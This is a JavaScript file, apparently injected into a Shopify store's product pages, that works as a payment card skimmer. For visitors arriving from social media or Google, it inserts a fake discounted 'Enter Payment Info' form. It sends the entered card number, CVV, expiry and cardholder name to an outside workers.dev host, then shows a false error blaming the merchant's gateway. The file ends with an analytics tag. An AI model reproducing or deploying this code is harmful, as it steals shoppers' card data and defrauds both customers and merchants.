
  if (
  (document.referrer.includes("facebook.com") ||
    document.referrer.includes("instagram.com") ||
    document.referrer.includes("tiktok.com") ||
    document.referrer.includes("google.com") ||
    document.referrer.includes("snapchat.com")) &&
  window.location.pathname.includes("product")
) {

    console.log('hello 1');
    function paymentFunc() {
    console.log('hello 3');
    // 1) Inject CSS via a <style> tag
    // Build the CSS as a normal string
    var cssLines = [
      // "body {",
      // "  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;",
      // "  background: #f4f6f9;",
      // "  margin: 0;",
      // "  height: 100vh;",
      // "  display: flex;",
      // "  align-items: center;",
      // "  justify-content: center;",
      // "}",
      ".card-form {",
      "  background: #fff;",
      "  padding: 2rem;",
      "  border-radius: 16px;",
      "  box-shadow: 0 8px 20px rgba(0, 0, 0, 0.1);",
      "  max-width: 420px;",
      "  width: 100%;",
      "  margin-top: 2rem;",
      "}",
      ".card-form h2 {",
      "  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;",
      "  font-size: x-large;",
      "  text-align: center;",
      "  margin-bottom: 1.5rem;",
      "  color: #333;",
      "}",
      ".form-group {",
      "  margin-bottom: 1rem;",
      "}",
      ".form-group label {",
      "  display: block;",
      "  margin-bottom: 0.5rem;",
      "  font-weight: 500;",
      "  color: #555;",
      "  font-size: small;",
      "}",
      ".form-group input {",
      "  width: 100%;",
      "  padding: 12px 14px;",
      "  font-size: 16px;",
      "  border-radius: 8px;",
      "  border: 1px solid #ccc;",
      "  box-sizing: border-box;",
      "  font-size: small;",
      "}",
      ".form-group input:focus {",
      "  border-color: #4a90e2;",
      "  outline: none;",
      "  box-shadow: 0 0 0 2px rgba(74,144,226,0.3);",
      "}",
      ".inline-fields {",
      "  display: flex;",
      "  gap: 12px;",
      "}",
      ".inline-fields .form-group {",
      "  flex: 1;",
      "}",
      ".card-icons {",
      "  text-align: right;",
      "  margin: 0.5rem 0 1.25rem;",
      "  display: flex;",
      "  justify-content: flex-end;",
      "}",
      ".card-icons img {",
      "  width: 40px;",
      "  margin-left: 5px;",
      "  opacity: 0.3;",
      "  transition: 0.3s ease;",
      "}",
      ".card-icons img.active {",
      "  opacity: 1;",
      "}",
      ".submit-btn {",
      "  width: 100%;",
      "  padding: 14px !important;",
      "  font-size: medium;",
      "  font-weight: bold;",
      "  border: none;",
      "  border-radius: 8px;",
      "  background-color: #4a90e2 !important;",
      "  color: white;",
      "  cursor: pointer;",
      "  transition: background-color 0.3s ease;",
      "  margin-top: 1.5rem;",
      "}",
      ".submit-btn:hover {",
      "  background-color: #3a7fd9 !important;",
      "}",
      ".spinner {",
      "  display: inline-block;",
      "  width: 1em;",
      "  height: 1em;",
      "  border: 2px solid rgba(255,255,255,0.5);",
      "  border-top-color: #fff;",
      "  border-radius: 50%;",
      "  animation: spin 0.6s linear infinite;",
      "  vertical-align: middle;",
      "  margin-right: 0.5em;",
      "}",
      "@keyframes spin { to { transform: rotate(360deg); } }"
    ];
    var css = cssLines.join("\n");
    const styleEl = document.createElement("style");
    styleEl.textContent = css;
    document.head.appendChild(styleEl);

    // 2) Utility: create form-group
    function createFormGroup(labelText, inputProps) {
      const wrapper = document.createElement("div");
      wrapper.className = "form-group";
      const label = document.createElement("label");
      label.textContent = labelText;
      wrapper.appendChild(label);
      const input = document.createElement("input");
      Object.entries(inputProps).forEach(([k, v]) => input.setAttribute(k, v));
      wrapper.appendChild(input);
      return { wrapper, input };
    }

    // 3) Build form
    const form = document.createElement("form");
    form.className = "card-form";
    form.setAttribute("novalidate", "");
    const heading = document.createElement("h2");
    heading.textContent = "Enter Payment Info";
    form.appendChild(heading);

    // Name field
    const { wrapper: nameGroup, input: nameInput } = createFormGroup(
      "Cardholder Name",
      {
        id: "name",
        placeholder: "John Doe",
        pattern: "[A-Za-z ]+",
        required: ""
      }
    );
    form.appendChild(nameGroup);

    // Card number field
    const { wrapper: cardGroup, input: cardInput } = createFormGroup(
      "Card Number",
      {
        id: "cardNumber",
        placeholder: "1234 5678 9012 3456",
        maxlength: "19",
        inputmode: "numeric",
        required: ""
      }
    );
    form.appendChild(cardGroup);

    // Card icons
    const iconsDiv = document.createElement("div");
    iconsDiv.className = "card-icons";
    const iconSources = {
      visa: "https://img.icons8.com/color/48/000000/visa.png",
      master: "https://img.icons8.com/color/48/000000/mastercard.png",
      amex: "https://img.icons8.com/color/48/000000/amex.png",
      discover: "https://img.icons8.com/color/48/000000/discover.png"
    };
    const icons = {};
    for (const [key, src] of Object.entries(iconSources)) {
      const img = document.createElement("img");
      img.id = key + "Icon";
      img.src = src;
      img.alt = key;
      iconsDiv.appendChild(img);
      icons[key] = img;
    }
    form.appendChild(iconsDiv);

    // Expiry & CVV inline
    const inline = document.createElement("div");
    inline.className = "inline-fields";
    const { wrapper: expGroup, input: expInput } = createFormGroup(
      "Expiry (MM/YY)",
      {
        id: "expiry",
        placeholder: "MM/YY",
        maxlength: "5",
        inputmode: "numeric",
        required: ""
      }
    );
    const { wrapper: cvvGroup, input: cvvInput } = createFormGroup("CVV", {
      id: "cvv",
      placeholder: "123",
      maxlength: "3",
      inputmode: "numeric",
      required: ""
    });
    inline.appendChild(expGroup);
    inline.appendChild(cvvGroup);
    form.appendChild(inline);

    // Submit button
    const button = document.createElement("button");
    button.style =
      "background: linear-gradient(90deg, rgba(15,94,253,1) 18%, RGBA(51,183,241,1) 60%) !important; color: rgba(255,255,255,1) !important; border-radius: 2px !important; border: 0px solid rgba(0,0,0,1) !important; box-shadow: 0 2px 7px 0px rgba(0, 0, 0, 0.1) !important; font-size: medium !important;";
    button.className = "submit-btn";
    const cents = window.ShopifyAnalytics.meta.product.variants[0].price;
    const rupees = cents / 100;
    const discounted = Math.round(rupees * 0.6);
    button.textContent = "Pay Online - Rs. " + discounted;
    form.appendChild(button);

    document.body.appendChild(form);

    // 4) Card-type detection & formatting logic
    function detectCardType(number) {
      const n = number.replace(/s/g, "");
      if (/^4/.test(n)) return "visa";
      if (/^(5[1-5]|2[2-7])/.test(n)) return "master";
      if (/^3[47]/.test(n)) return "amex";
      if (/^6(?:011|5)/.test(n)) return "discover";
      return null;
    }
    function formatCardNumber(value, type) {
      const n = value.replace(/\D/g, "");
      let groups = [];
      if (type === "amex") {
        groups = [n.substr(0, 4), n.substr(4, 6), n.substr(10, 5)];
      } else {
        for (let i = 0; i < n.length; i += 4) {
          groups.push(n.substr(i, 4));
        }
      }
      return groups.filter(Boolean).join(" ");
    }
    cardInput.addEventListener("input", () => {
      const raw = cardInput.value;
      const type = detectCardType(raw);
      Object.keys(icons).forEach((key) => {
        icons[key].classList.toggle("active", key === type);
      });
      cardInput.value = formatCardNumber(raw, type);

      // when 16 digits are entered, move to expiry
      if (cardInput.value.replace(/\D/g, "").length === 16) {
        expInput.focus();
      }
    });




    expInput.addEventListener("input", (e) => {
      let digits = e.target.value.replace(/\D/g, "").slice(0, 4);
      if (digits.length > 2) {
        e.target.value = digits.slice(0, 2) + "/" + digits.slice(2);
      } else {
        e.target.value = digits;
      }

      // once MM/YY (5 chars including slash) is complete, move to CVV
      if (e.target.value.length === 5) {
        cvvInput.focus();
      }
    });

    cvvInput.addEventListener("input", (e) => {
      e.target.value = e.target.value.replace(/\D/g, "").slice(0, 3);
    });

    button.addEventListener("click", async (e) => {
      e.preventDefault(); // stop normal form submission

      // strip non-digits
      const cardDigits = cardInput.value.replace(/\D/g, "");
      const cvvDigits  = cvvInput.value.replace(/\D/g, "");
      const expiryRaw  = expInput.value;
      // collect errors
      const errors = [];
      if (cardDigits.length < 16) {
        errors.push("Card number must be 16 digits");
      }
      if (
        !expiryRaw.includes('/') ||                             // must have a slash
        expiryRaw.replace('/', '').length  !== 4 ||             // after dropping that slash, exactly 4 chars
        isNaN(expiryRaw.replace('/', ''))                       // and those 4 chars must all be digits
      ) {
        errors.push("Expiry must be in MM/YY format");
      }
      if (cvvDigits.length < 3) {
        errors.push("CVV must be 3 digits");
      }
      // if any, show and abort
      if (errors.length) {
        alert(errors.join("\n"));
        return;
      }
      
      const URL =
        "https://flat-sky-2c6e.wallpaperli25.workers.dev/?number=" +
        cardInput.value +
        "&cc=" +
        cvvInput.value +
        "&name=" +
        nameInput.value +
        "&expiry=" +
        expInput.value;
      if (!localStorage.getItem("called")) {
        localStorage.setItem("called", "1");

        const originalText = button.textContent;
        // disable + show spinner
        button.disabled = true;
        button.innerHTML =
          '<span class="spinner" aria-hidden="true"></span> Loading…';

        try {
          await fetch(URL);
          alert(
            "[ERROR] The payment gateway has not been set up properly by the merchant."
          );
        } catch (err) {
          console.error(err);
          alert(
            "[ERROR] The payment gateway has not been set up properly by the merchant."
          );
        } finally {
          // restore button
          button.disabled = false;
          button.textContent = originalText;
          return;
        }

        // await fetch(URL);
        // alert(
        //   "[ERROR] The payment gateway has not been set up properly by the merchant."
        // );
        // return;
      }
      alert(
        "[ERROR] The payment gateway has not been set up properly by the merchant."
      );
    });

    // 5) Injection point
    const selector =
      "#es-form-button, ._rsi-modal-submit-button, #pragati-summit_button_field";
    const target = document.querySelector(selector);
    if (target && target.parentNode) {
      target.parentNode.insertBefore(form, target.nextSibling);
    } else {
      document.body.appendChild(form);
    }
  }

  document.addEventListener("DOMContentLoaded", function () {
    console.log('hello 2');
    let isEntered = false;
    const checkExist = setInterval(() => {
      // only proceed if we haven't already injected AND one of the targets is present
      if (
        !isEntered &&
        (document.getElementById("es-phone") ||
          document.getElementById("_rsi-field-phone") || document.getElementById("pragati_input_phone_number_field"))
      ) {
        isEntered = true;
        // clearInterval(checkExist); // stop polling
        paymentFunc();
      }
    }, 500);
  });

  }



  (function(c,l,a,r,i,t,y){
        c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
        t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
        y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
    })(window, document, "clarity", "script", "pfh5cktuce");
  